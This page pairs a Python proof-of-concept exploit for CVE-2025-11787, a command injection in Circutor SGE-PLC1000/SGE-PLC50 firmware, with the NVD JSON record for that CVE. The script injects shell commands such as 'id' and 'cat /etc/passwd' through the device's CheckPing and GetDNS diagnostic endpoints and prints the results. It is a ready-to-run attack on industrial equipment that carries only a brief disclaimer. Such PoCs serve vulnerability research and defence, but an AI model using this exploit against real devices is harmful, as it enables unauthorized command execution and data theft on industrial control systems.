CVE-2025-11787

#!/usr/bin/env python3 """ CVE-2025-11787 PoC - Circutor SGE-PLC Command Injection Note: This PoC is for educational and authorized security testing only """ import requests import sys TARGET_IP = "<target_ip>" TARGET_PORT = 8080 def check_vulnerability(): """Check if target is vulnerable to CVE-2025-11787""" # CheckPing function exploitation payload = "127.0.0.1;id" endpoint = f"http://{TARGET_IP}:{TARGET_PORT}/api/diagnostic/checkping" try: response = requests.post(endpoint, json={"host": payload}, timeout=10) if response.status_code == 200: result = response.text # Check if command injection was successful if "uid=" in result or "root" in result: print(f"[+] VULNERABLE: Command injection successful!") print(f"[+] Response: {result}") return True else: print("[-] Target may not be vulnerable") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def exploit_checkdns(): """Exploit GetDNS() function""" payload = "8.8.8.8;cat /etc/passwd" endpoint = f"http://{TARGET_IP}:{TARGET_PORT}/api/diagnostic/getdns" try: response = requests.post(endpoint, json={"server": payload}, timeout=10) print(f"[*] GetDNS exploitation result: {response.text}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("[*] CVE-2025-11787 Circutor SGE-PLC Command Injection PoC") check_vulnerability()

{"cve": {"id": "CVE-2025-11787", "sourceIdentifier": "[email protected]", "published": "2025-12-02T13:15:50.730", "lastModified": "2025-12-03T19:16:37.603", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Command injection vulnerability in the operating system in Circutor SGE-PLC1000/SGE-PLC50 v9.0.2 through the 'GetDNS()', 'CheckPing()' and 'TraceRoute()' functions."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:circutor:sge-plc1000_firmware:9.0.2:*:*:*:*:*:*:*", "matchCriteriaId": "3FC715A9-6F95-4795-B3B1-1BFAF88ACCE9"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:circutor:sge-plc1000:-:*:*:*:*:*:*:*", "matchCriteriaId": "FFF41215-1018-42DD-9A7E-BBC2E5B4522D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:circutor:sge-plc50_firmware:9.0.2:*:*:*:*:*:*:*", "matchCriteriaId": "203C8B5E-582A-4680-B324-B9092F01462B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:circutor:sge-plc50:-:*:*:*:*:*:*:*", "matchCriteriaId": "447D1571-5329-422D-8E31-F4964E412FC3"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso-sci/multiple-vulnerabilities-circutor-products-0", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}